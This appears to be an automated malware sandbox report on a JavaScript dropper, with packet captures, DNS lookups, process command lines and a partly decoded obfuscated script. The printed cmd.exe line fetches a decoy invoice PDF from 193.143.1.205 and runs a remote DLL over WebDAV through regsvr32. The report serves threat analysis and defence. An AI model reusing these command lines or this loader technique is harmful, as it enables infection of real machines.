Jan 10, 2025 23:55:40.178224087 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.178236008 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.178247929 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.178260088 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.178271055 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.178284883 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.201291084 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.201311111 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.201324940 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.201344967 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.201368093 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.201419115 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.201438904 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.201453924 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.201467991 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.201479912 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.201482058 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.201504946 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.201508999 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.201522112 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.201534986 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.201541901 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.201543093 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.201554060 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.201566935 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.201567888 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.201592922 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.201602936 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.201632023 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.201967001 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.201978922 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.201991081 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.202018023 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.202028036 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.202228069 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.208956003 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.399713039 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.974251032 CET	49701	8888	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.979617119 CET	8888	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.979732037 CET	49701	8888	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.979885101 CET	49701	8888	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.985635042 CET	8888	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:41.762986898 CET	8888	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:41.807496071 CET	49701	8888	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:42.693418980 CET	49701	8888	192.168.2.7	193.143.1.205
Jan 10, 2025 23:57:18.834146023 CET	49212	53	192.168.2.7	1.1.1.1
Jan 10, 2025 23:57:18.839016914 CET	53	49212	1.1.1.1	192.168.2.7
Jan 10, 2025 23:57:18.839122057 CET	49212	53	192.168.2.7	1.1.1.1
Jan 10, 2025 23:57:18.839143038 CET	49212	53	192.168.2.7	1.1.1.1
Jan 10, 2025 23:57:18.843887091 CET	53	49212	1.1.1.1	192.168.2.7
Jan 10, 2025 23:57:19.286001921 CET	53	49212	1.1.1.1	192.168.2.7
Jan 10, 2025 23:57:19.288619041 CET	49212	53	192.168.2.7	1.1.1.1
Jan 10, 2025 23:57:19.293637037 CET	53	49212	1.1.1.1	192.168.2.7
Jan 10, 2025 23:57:19.295494080 CET	49212	53	192.168.2.7	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 23:55:53.871695995 CET	64947	53	192.168.2.7	1.1.1.1
Jan 10, 2025 23:56:17.640450954 CET	51537	53	192.168.2.7	1.1.1.1
Jan 10, 2025 23:56:41.718111992 CET	59895	53	192.168.2.7	1.1.1.1
Jan 10, 2025 23:57:05.810229063 CET	58064	53	192.168.2.7	1.1.1.1
Jan 10, 2025 23:57:18.833647966 CET	53	54350	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 23:55:53.871695995 CET	192.168.2.7	1.1.1.1	0x6589	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:56:17.640450954 CET	192.168.2.7	1.1.1.1	0x7b52	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:56:41.718111992 CET	192.168.2.7	1.1.1.1	0x1abb	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:57:05.810229063 CET	192.168.2.7	1.1.1.1	0x6d7f	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 23:55:53.101411104 CET	1.1.1.1	192.168.2.7	0x849c	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:55:53.101411104 CET	1.1.1.1	192.168.2.7	0x849c	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:55:54.020431995 CET	1.1.1.1	192.168.2.7	0x6589	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 23:56:17.671889067 CET	1.1.1.1	192.168.2.7	0x7b52	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 23:56:41.726170063 CET	1.1.1.1	192.168.2.7	0x1abb	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 23:57:05.819422960 CET	1.1.1.1	192.168.2.7	0x6d7f	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49700	193.143.1.205	80	7024	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:55:38.667810917 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 23:55:39.460400105 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 22:55:39 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 23:55:39.460417032 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 23:55:39.460429907 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 23:55:39.460457087 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 10, 2025 23:55:39.460478067 CET	896	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 10, 2025 23:55:39.460490942 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 10, 2025 23:55:39.460501909 CET	1236	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}nmcy==b&
Jan 10, 2025 23:55:39.460520029 CET	1236	IN	Data Raw: f1 85 39 c6 2b c4 29 73 55 85 6a e6 63 b1 a9 66 8b 56 da 72 d7 33 af af be 3c 7f 85 be e8 e5 72 5e fd 44 a1 f9 1c a9 29 68 3e 63 5d 47 6a 7e 6c 40 7f a6 98 67 ac 10 8e 73 9f 0e 85 9f 07 90 9f 04 30 6f 7b ff e2 ea a6 1c be e5 f4 27 82 b9 b6 d5 5f Data Ascii: 9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlhcC?cC?u0X-37X_[;~Ii/MzJ*>)kz{~YjR
Jan 10, 2025 23:55:39.460526943 CET	1236	IN	Data Raw: 86 d6 94 d0 d1 93 25 6b ce b8 cc f5 50 2f ec 14 66 23 a8 29 a1 29 fd 48 06 4d 0d f4 d9 b3 67 bf ff fe fb 6f ad 5f 23 b3 bf ff 7b 6b f6 2b 4d 12 95 11 d1 b0 c5 98 24 aa 4f f7 f3 4f 97 89 7a 7a 73 ef ab 48 98 a8 fc 61 a6 e1 e6 5e ad 1c a7 72 ed 2c Data Ascii: %kP/f#))HMgo_#{k+M$OOzzsHa^r,Y,,WUB5{i_}zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$
Jan 10, 2025 23:55:39.460530043 CET	1236	IN	Data Raw: f9 a9 3d 9d 84 46 7b a8 d9 dc 6b 76 f6 e6 4a a8 99 22 4c bf 7b 78 55 29 57 f9 ec 58 ee a1 7e 90 b0 3c 45 28 ed 2c dc 7b 6c ae 50 9e 2b 5d f4 74 41 33 17 56 1e 27 f4 bb 55 cb 25 54 bf 2d c3 92 65 7e 6c 40 ff c0 80 19 a0 0e 37 d0 96 07 69 0b 9f 08 Data Ascii: =F{kvJ"L{xU)WX~<E(,{lP+]tA3V'U%T-e~l@7iG/ZU~#zF[_?sc9S`Bf=4x\]fS-=Pb.aM10C~1X\M86ts9L/`f,4;RB
Jan 10, 2025 23:55:39.465389967 CET	324	IN	Data Raw: 06 53 4f d1 e7 84 e6 4a e8 f7 8e 29 8f ba ee 99 1e a4 8f 9e 1c 5d db 6b ae aa 50 42 fd 25 f9 ab 5a a8 d2 9a a9 55 d3 6a fd f4 b1 6f 67 3e d4 ea 75 af fe 19 f3 27 60 ce 2e ac 66 38 b4 7c d0 64 f9 04 5b 7f d4 e9 1f 43 32 d3 97 3b 01 d3 1c b4 1a 2e Data Ascii: SOJ)]kPB%ZUjog>u'`.f8\|d[C2;.? %C:ZP7+wZM7:%TU3iKYu?Pp]t8txL{:0u`hCo\AGD_\|LCf0~M0X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49701	193.143.1.205	8888	5296	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:55:40.979885101 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 23:55:41.762986898 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 22:55:41 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	17:55:35
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\340651472865228929.js"
Imagebase:	0x7ff7f47d0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	17:55:36
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129092394429212.dll
Imagebase:	0x7ff74e280000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	17:55:36
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	17:55:36
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	17:55:40
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff702560000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	17:55:40
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff74e280000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	17:55:40
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff789e80000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	17:55:40
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	17:55:40
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	17:55:41
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2216 --field-trial-handle=1756,i,7814837121394009984,10454531649186129190,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function ylikonef() {	ylikonef() ➔ undefined
1	xrbit = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var gygrmkn = this[zlvgmffwm + peauyc + ibdmddj + qqvrkhtvx + dxarl + wckygkew + eeetruog + pblvtrhl] ( this[bjhsc + uliykls + hrfgef + ibdmddj + uuowckmte + zlvgmffwm + pblvtrhl][zsrgyimin + ibdmddj + dxarl + peauyc + pblvtrhl + dxarl + jdzjhb + chrwbwq + wyvyjnfi + dxarl + hrfgef + pblvtrhl] ( bjhsc + uliykls + hrfgef + ibdmddj + uuowckmte + zlvgmffwm + pblvtrhl + eshlwiwlb + uliykls + mippizy + dxarl + qalblhsl + qalblhsl ) [ypumazy + dxarl + xbhiabnvy + ypumazy + dxarl + peauyc + nhwsndm] ( uysketd + qydvdloia + chhzorxwi + svfisw + lrgpbbqj + zsrgyimin + kpoeaqoj + ypumazy + ypumazy + chhzorxwi + djjkk + zauzndnl + lrgpbbqj + kpoeaqoj + uliykls + chhzorxwi + ypumazy + ahrnc + zsrgyimin + kwsju + eeetruog + pblvtrhl + ibdmddj + kwsju + qalblhsl + ijfobq + xihvt + peauyc + eeetruog + dxarl + qalblhsl + ahrnc + wckygkew + eeetruog + pblvtrhl + dxarl + ibdmddj + eeetruog + peauyc + pblvtrhl + uuowckmte + kwsju + eeetruog + peauyc + qalblhsl + ahrnc + vecphfjk + kwsju + hrfgef + peauyc + qalblhsl + dxarl ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( svisoq = 0 ; svisoq < xrbit[qalblhsl + dxarl + eeetruog + xbhiabnvy + pblvtrhl + mippizy] ; ++ svisoq )
4	{
5	if ( gygrmkn == xrbit[svisoq] )
6	{
7	gygrmkn = true;
8	break ;
9	}
10	}
11	if ( gygrmkn !== true )
12	this[bjhsc + uliykls + hrfgef + ibdmddj + uuowckmte + zlvgmffwm + pblvtrhl][xjmrmazw + fxxovdkb + uuowckmte + pblvtrhl] ( );
13	this[bjhsc + uliykls + hrfgef + ibdmddj + uuowckmte + zlvgmffwm + pblvtrhl][zsrgyimin + ibdmddj + dxarl + peauyc + pblvtrhl + dxarl + jdzjhb + chrwbwq + wyvyjnfi + dxarl + hrfgef + pblvtrhl] ( bjhsc + uliykls + hrfgef + ibdmddj + uuowckmte + zlvgmffwm + pblvtrhl + eshlwiwlb + uliykls + mippizy + dxarl + qalblhsl + qalblhsl ) [ibdmddj + fxxovdkb + eeetruog] ( hrfgef + gkpfmr + nhwsndm + ijfobq + pobjpg + hrfgef + ijfobq + zlvgmffwm + kwsju + azrmgunj + dxarl + ibdmddj + qqvrkhtvx + mippizy + dxarl + qalblhsl + qalblhsl + eshlwiwlb + dxarl + qetvium + dxarl + ijfobq + fspsduyh + zsrgyimin + kwsju + gkpfmr + gkpfmr + peauyc + eeetruog + nhwsndm + ijfobq + jjhrow + wckygkew + eeetruog + ewpirqptl + kwsju + ojuomgg + dxarl + fspsduyh + bjhsc + dxarl + chrwbwq + ypumazy + dxarl + kxwfffofw + fxxovdkb + dxarl + qqvrkhtvx + pblvtrhl + ijfobq + fspsduyh + jdzjhb + fxxovdkb + pblvtrhl + acarzd + uuowckmte + qalblhsl + dxarl + ijfobq + bzxmpk + pblvtrhl + dxarl + gkpfmr + zlvgmffwm + bzxmpk + ahrnc + uuowckmte + eeetruog + ewpirqptl + kwsju + uuowckmte + hrfgef + dxarl + eshlwiwlb + zlvgmffwm + nhwsndm + blwmve + ijfobq + mippizy + pblvtrhl + pblvtrhl + zlvgmffwm + apkzluns + pobjpg + pobjpg + xirvutsm + pxunejge + atjpmmk + eshlwiwlb + xirvutsm + qomlvgyo + atjpmmk + eshlwiwlb + xirvutsm + eshlwiwlb + gkhzietjm + zwcbaumt + pfddae + pobjpg + uuowckmte + eeetruog + ewpirqptl + kwsju + uuowckmte + hrfgef + dxarl + eshlwiwlb + zlvgmffwm + mippizy + zlvgmffwm + jjhrow + giypbp + giypbp + qqvrkhtvx + pblvtrhl + peauyc + ibdmddj + pblvtrhl + ijfobq + bzxmpk + pblvtrhl + dxarl + gkpfmr + zlvgmffwm + bzxmpk + ahrnc + uuowckmte + eeetruog + ewpirqptl + kwsju + uuowckmte + hrfgef + dxarl + eshlwiwlb + zlvgmffwm + nhwsndm + blwmve + giypbp + giypbp + hrfgef + gkpfmr + nhwsndm + ijfobq + pobjpg + hrfgef + ijfobq + eeetruog + dxarl + pblvtrhl + ijfobq + fxxovdkb + qqvrkhtvx + dxarl + ijfobq + ahrnc + ahrnc + xirvutsm + pxunejge + atjpmmk + eshlwiwlb + xirvutsm + qomlvgyo + atjpmmk + eshlwiwlb + xirvutsm + eshlwiwlb + gkhzietjm + zwcbaumt + pfddae + dhoqfgmw + pecgzjczs + pecgzjczs + pecgzjczs + pecgzjczs + ahrnc + nhwsndm + peauyc + ewpirqptl + azrmgunj + azrmgunj + azrmgunj + ibdmddj + kwsju + kwsju + pblvtrhl + ahrnc + giypbp + giypbp + hrfgef + gkpfmr + nhwsndm + ijfobq + pobjpg + hrfgef + ijfobq + ibdmddj + dxarl + xbhiabnvy + qqvrkhtvx + ewpirqptl + ibdmddj + atjpmmk + gkhzietjm + ijfobq + pobjpg + qqvrkhtvx + ijfobq + ahrnc + ahrnc + xirvutsm + pxunejge + atjpmmk + eshlwiwlb + xirvutsm + qomlvgyo + atjpmmk + eshlwiwlb + xirvutsm + eshlwiwlb + gkhzietjm + zwcbaumt + pfddae + dhoqfgmw + pecgzjczs + pecgzjczs + pecgzjczs + pecgzjczs + ahrnc + nhwsndm + peauyc + ewpirqptl + 